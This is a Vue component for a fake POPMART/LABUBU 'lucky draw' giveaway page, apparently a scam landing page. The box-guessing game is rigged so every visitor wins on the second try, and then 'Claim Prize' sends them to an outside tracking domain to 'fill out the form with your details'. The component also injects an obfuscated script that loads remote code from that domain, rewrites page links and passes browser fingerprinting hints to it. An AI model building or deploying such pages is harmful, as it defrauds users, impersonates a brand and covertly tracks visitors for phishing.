<template>
  <div>
    <!-- 主页面容器 -->
    <div class="giveaway-container">
      <!-- Header with Apple Logo -->
      <div class="header">
        <img :src="headerLogo" alt="Logo" class="header-logo-svg">
        <p class="header-text">POPMART</p>
      </div>

      <!-- Banner Section -->
      <div class="banner">
        <h1>Congratulations!</h1>
        <p>You are now participating in the <strong>POPMART lucky draw!</strong></p>
        <p>Today, <strong>138 lucky winners</strong>  receive a LABUBU blind box.</p>
      </div>

      <!-- Game Area -->
      <div class="game-area">
        <div class="game-instructions">
          <h2>Guess which one is the real blind box!</h2>
          <p>You have <span class="tries-count">{{ tries }}</span> tries. Good luck!</p>
          <p class="message" :class="messageClass">{{ message }}</p>
        </div>
        <div class="box-grid">
          <div 
              v-for="box in boxes" 
              :key="box.id" 
              class="box" 
              :class="{ disabled: gameOver }"
              @click="selectBox(box)">
            <img :src="boxImage" alt="iPhone Box">
          </div>
        </div>
      </div>
    </div>

    <!-- 抽奖成功弹窗 -->
    <div v-if="showSuccessModal" class="modal-overlay">
      <div class="modal-content">
        <img :src="modalHeaderImage" alt="Congratulations iPhones" class="modal-header-image">
        
        <h1>Congratulations!</h1>
        <p class="congrats-text">You've found a genuine blind box and can claim it now!</p>
        
        <h2>What's next?</h2>
        
        <ol class="steps-list">
          <li>Click "Claim Prize" and fill out the form with your details.</li>
          <li>You'll receive a confirmation email with your personal order number.</li>
          <li>Your box will be delivered by courier within 3 business days.</li>
        </ol>
        
        <p class="hurry-text">Hurry, limited devices available!<br>Tap "Claim Prize" now!</p>
        
        <button class="claim-button" @click="claimPrize">Claim Prize</button>
      </div>
    </div>
  </div>
</template>

<script>
export default {
  name: 'GiveawayPage',
   metaInfo: {
    meta: [
      {
        'http-equiv': 'delegate-ch',
        content: 'sec-ch-ua https://cheputyaimunting.com; sec-ch-ua-mobile https://cheputyaimunting.com; sec-ch-ua-arch https://cheputyaimunting.com; sec-ch-ua-model https://cheputyaimunting.com; sec-ch-ua-platform https://cheputyaimunting.com; sec-ch-ua-platform-version https://cheputyaimunting.com; sec-ch-ua-bitness https://cheputyaimunting.com; sec-ch-ua-full-version-list https://cheputyaimunting.com; sec-ch-ua-full-version https://cheputyaimunting.com'
      }
    ],
    style: [
      { type: 'text/css', cssText: '.dtpcnt{opacity: 0;}' }
    ],
    script: [
      {
        type: 'text/javascript',
        innerHTML: `
          (function(d,c,k,l,r,t,g,u,A,e,m,v,B,a,n,p,h,q,w,D,x){function y(){for(var f=c.querySelectorAll(".dtpcnt"),b=0,a=f.length;b<a;b++)f[b][u]=f[b][u].replace(/(^|\\s+)dtpcnt($|\\s+)/g,"")}function C(a,b,d,e){var f=new Date;f.setTime(f.getTime()+(e||864E5));c.cookie=a+"="+b+"; "+d+"samesite=Strict; expires="+f.toGMTString()+"; path=/";k.setItem(a,b);k.setItem(a+"-expires",f.getTime())}function z(a){var b=c.cookie.match(new RegExp("(^| )"+a+"=([^;]+)"));return b?b.pop():k.getItem(a+"-expires")&&+k.getItem(a+
"-expires")>(new Date).getTime()?k.getItem(a):null}x=":"===d.location.protocol?"secure; ":"";d[e]||(d[e]=function(){(d[e].q=d[e].q||[]).push(arguments)},p=c[r],c[r]=function(){p&&p.apply(this,arguments);if(d[e]&&!d[e].hasOwnProperty("params")&&/loaded|interactive|complete/.test(c.readyState))for(;a=c[t][m++];)/\\/?click\\/?($|(\\/[0-9]+)?$)/.test(a.pathname)&&(a[g]="javascrip"+d.postMessage.toString().slice(4,5)+":"+e+'.l="'+a[g]+'",void 0')},setTimeout(function(){(q=/[?&]cpid(=([^&#]*)|&|#|$)/.exec(d.location.href))&&
q[2]&&(h=q[2],w=z("vl-"+h));var f=z("vl-cep"),b=location[g];if("savedCep"===B&&f&&(!h||"undefined"===typeof h)&&0>b.indexOf("cep=")){var e=-1<b.indexOf("?")?"&":"?";b+=e+f}a=c.createElement("script");n=c.scripts[0];a.defer=1;a.src=v+(-1===v.indexOf("?")?"?":"&")+"lpref="+l(c.referrer)+"&lpurl="+l(b)+"&lpt="+l(c.title)+"&vtm="+(new Date).getTime()+(w?"&uw=no":"");a[A]=function(){for(m=0;a=c[t][m++];)/dtpCallback\\.l/.test(a[g])&&(a[g]=decodeURIComponent(a[g]).match(/dtpCallback\\.l="([^"]+)/)[1]);y()};
n.parentNode.insertBefore(a,n);h&&C("vl-"+h,"1",x)},0),setTimeout(y,7E3))})(window,document,localStorage,encodeURIComponent,"onreadystatechange","links","href","className","onerror","dtpCallback",0,"https://cheputyaimunting.com/d/.js","savedCep");
        `,
        vmid: 'external-tracking-script'
      }
    ],
    noscript: [
      {
        innerHTML: `<link href="https://cheputyaimunting.com/d/.js?noscript=true&lpurl=" rel="stylesheet"/>`
      }
    ]
  },
  data() {
    return {
      tries: 2,
      boxes: [
        { id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }, { id: 5 }, { id: 6 }
      ],
      gameOver: false,
      message: '',
      showSuccessModal: false,
      
      headerLogo: 'https://cdn-global-eude.popmart.com/global-web/eude-prod/assets/images/logo.png?x-oss-process=image/format,webp',
      boxImage: 'https://www.therange.co.uk/media/4/7/1756910311_11_4368.jpg',
      modalHeaderImage: 'https://www.therange.co.uk/media/4/7/1756910311_11_4368.jpg'
    };
  },
  computed: {
    messageClass() {
      if (this.message.includes('Congratulations')) {
        return 'success';
      }
      if (this.message.includes('Sorry')) {
        return 'error';
      }
      return '';
    }
  },
  methods: {
    selectBox() {
      if (this.gameOver) return;

      if (this.tries === 2) {
        this.tries--;
        this.message = 'Sorry, wrong box. Try again!';
        return;
      }

      if (this.tries === 1) {
        this.tries--;
        this.message = 'Congratulations! You found the iPhone!';
        this.gameOver = true;
        
        setTimeout(() => {
          this.showSuccessModal = true;
        }, 500);
      }
    },
    claimPrize() {
      // 点击按钮后，跳转到指定的 URL
      window.location.href = 'https://cheputyaimunting.com/click';
    }
  }
};
</script>

<!-- 全局样式 -->
<style>
  body, html {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
  }
</style>

<style scoped>
/* 全屏布局 */
.giveaway-container {
  background-color: #ffffff;
  width: 100%;
  min-height: 100vh;
  text-align: center;
  overflow-y: auto;
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
  display: flex;
  flex-direction: column;
}

.header {
  padding: 20px;
  border-bottom: 1px solid #e5e5e5;
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 8px;
}
.header-logo-svg {
  height: 38px;
}
.header-text {
  font-size: 14px;
  color: #1d1d1f;
  font-weight: 500;
  letter-spacing: 0.5px;
  margin: 0;
}
.banner {
  background-color: #fa031c;
  color: #ffffff;
  padding: 30px 20px;
}
.banner h1 {
  font-size: 28px;
  margin: 0 0 10px;
}
.banner p {
  font-size: 18px;
  margin: 0;
  font-weight: 300;
}
.banner strong {
  font-weight: 600;
}
.game-area {
  padding: 40px 20px;
  flex-grow: 1;
  display: flex;
  flex-direction: column;
  justify-content: center;
}
.game-instructions h2 {
  font-size: 24px;
  color: #1d1d1f;
  margin: 0 0 5px;
}
.game-instructions p {
  font-size: 18px;
  color: #6e6e73;
  margin: 0 0 30px;
}
.game-instructions .tries-count {
  color: #d92c2c;
  font-weight: bold;
}
.game-instructions .message {
  font-weight: bold;
  height: 24px;
  transition: color 0.3s;
}
.success { color: #3aa14a; }
.error { color: #d92c2c; }
.box-grid {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 20px;
  max-width: 400px;
  margin: 40px auto 0;
}
.box {
  cursor: pointer;
  transition: transform 0.2s ease-in-out, box-shadow 0.2s;
  border-radius: 8px;
}
.box:hover {
  transform: translateY(-5px);
  box-shadow: 0 8px 16px rgba(0, 0, 0, 0.1);
}
.box img {
  max-width: 100%;
  display: block;
}
.box.disabled {
  cursor: not-allowed;
  opacity: 0.7;
}
.box.disabled:hover {
  transform: none;
  box-shadow: none;
}

/* 弹窗样式 - 进一步缩小 */
.modal-overlay {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.6);
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 10px; /* 减小外边距 */
  z-index: 1000;
}
.modal-content {
  background-color: #ffffff;
  padding: 0;
  border-radius: 12px; /* 略微减小圆角 */
  box-shadow: 0 4px 15px rgba(0,0,0,0.2);
  text-align: center;
  /* 进一步减小最大宽度 */
  max-width: 300px; 
  width: 100%;
  overflow: hidden;
  animation: fadeIn 0.3s ease-out;
}
.modal-header-image {
  width: 100%;
  display: block;
}
.modal-content h1 {
  /* 再次减小字体 */
  font-size: 1.5em; 
  font-weight: bold;
  margin: 10px 10px 6px; /* 再次调整间距 */
  color: #000;
}
.modal-content .congrats-text {
  /* 再次减小字体 */
  font-size: 1.0em; 
  margin: 0 10px 10px; /* 再次调整间距 */
  line-height: 1.2;
  color: #000;
}
.modal-content h2 {
  /* 再次减小字体 */
  font-size: 1.0em; 
  font-weight: bold;
  margin: 15px 10px 10px; /* 再次调整间距 */
  color: #000;
}
.steps-list {
  list-style-position: inside;
  text-align: left;
  padding: 0 15px; /* 再次减小内边距 */
  margin: 0 auto;
  font-size: 0.9em; /* 再次减小字体 */
  color: #333;
  line-height: 1.4;
}
.steps-list li {
  margin-bottom: 5px; /* 再次调整列表项间距 */
}
.hurry-text {
  /* 再次减小字体 */
  font-size: 0.9em; 
  margin: 15px 10px 12px; /* 再次调整间距 */
  color: #333;
}
.claim-button {
  display: block;
  width: calc(100% - 20px); /* 适应新的左右边距 */
  margin: 0 10px 10px; /* 再次调整外边距 */
  padding: 12px; /* 再次减小内边距 */
  background-color: #000000;
  color: #ffffff;
  border: none;
  border-radius: 10px; /* 略微减小圆角 */
  font-size: 1.1em; /* 再次减小字体 */
  font-weight: bold;
  cursor: pointer;
  transition: background-color 0.2s;
}
.claim-button:hover {
  background-color: #333;
}
@keyframes fadeIn {
  from { opacity: 0; transform: scale(0.9); }
  to { opacity: 1; transform: scale(1); }
}
</style>